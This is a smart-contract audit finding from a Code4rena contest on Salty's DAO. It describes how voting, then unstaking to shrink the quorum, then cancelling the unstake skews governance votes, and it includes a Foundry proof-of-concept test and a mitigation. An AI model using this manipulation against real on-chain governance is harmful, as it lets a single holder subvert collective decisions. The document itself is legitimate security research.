code-423n4 / 2024-01-salty-findings

5 stars 3 forks source link

A user can vote for proposals and unstake right after to reduce the required quorum while maintaining its votes #919

Closed c4-bot-5 closed 5 months ago

c4-bot-5 commented 5 months ago

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L259-L293 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L320 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L396

Vulnerability details

Vulnerability details

A user can with its stake (1) vote for a proposal/multiple proposals, (2) unstake, which will burn its shares thus reducing the shares totalSupply, thus reducing the required quorum. (3) He can then call cancelUnstake when the vote is over to get its shares back. This basically allow him to skew the ratio of votes to requiredQuorum

Impact

Manipulation of the voting to quorum ratio

Proof of Concept

    function test_auditCastVoteThenReduceQuorum() public {

        vm.startPrank(DEPLOYER);
        // 2 million staked. Default 10% will be 200k which does not meet the 0.50% of total supply minimum quorum.
        // So 500k (0.50% of the totalSupply) will be used as the quorum
        staking.stakeSALT( 10_000_000 ether );

        string memory ballotName = "parameter:2";

        proposals.proposeParameterBallot(2, "description" );
        vm.stopPrank();

        uint256 ballotID = proposals.openBallotsByName(ballotName);

        console.log("--- Initial state with xSALT in the protocol ---");
        console.log("total votes for the ballot:\t",proposals.totalVotesCastForBallot(ballotID));
        console.log("required quorum:\t\t",proposals.requiredQuorumForBallotType(BallotType.PARAMETER));

        Vote userVote = Vote.INCREASE;
        uint256 aliceSaltBalance = 10_000_000 ether;

        console.log("--- Alice stakes 10M SALT & votes for ballot ---");
        vm.startPrank(alice);
        staking.stakeSALT( aliceSaltBalance );
        proposals.castVote(ballotID, userVote);
        console.log("total votes for the ballot:\t",proposals.totalVotesCastForBallot(ballotID));
        console.log("required quorum:\t\t",proposals.requiredQuorumForBallotType(BallotType.PARAMETER));

        console.log("--- Alice unstake all ---");
        uint256 votingPower = staking.userShareForPool(alice, PoolUtils.STAKED_SALT);
        staking.unstake(votingPower, 2);

        console.log("total votes for the ballot:\t", proposals.totalVotesCastForBallot(ballotID));
        console.log("required quorum:\t\t",proposals.requiredQuorumForBallotType(BallotType.PARAMETER));
    }

Tools Used

Manual review

Recommended Mitigation Steps

Disallow unstaking for a user if he has active votes

Assessed type

Governance

c4-judge commented 5 months ago

Picodes marked the issue as duplicate of #46

c4-judge commented 5 months ago

Picodes marked the issue as satisfactory

c4-judge commented 5 months ago

Picodes changed the severity to 2 (Med Risk)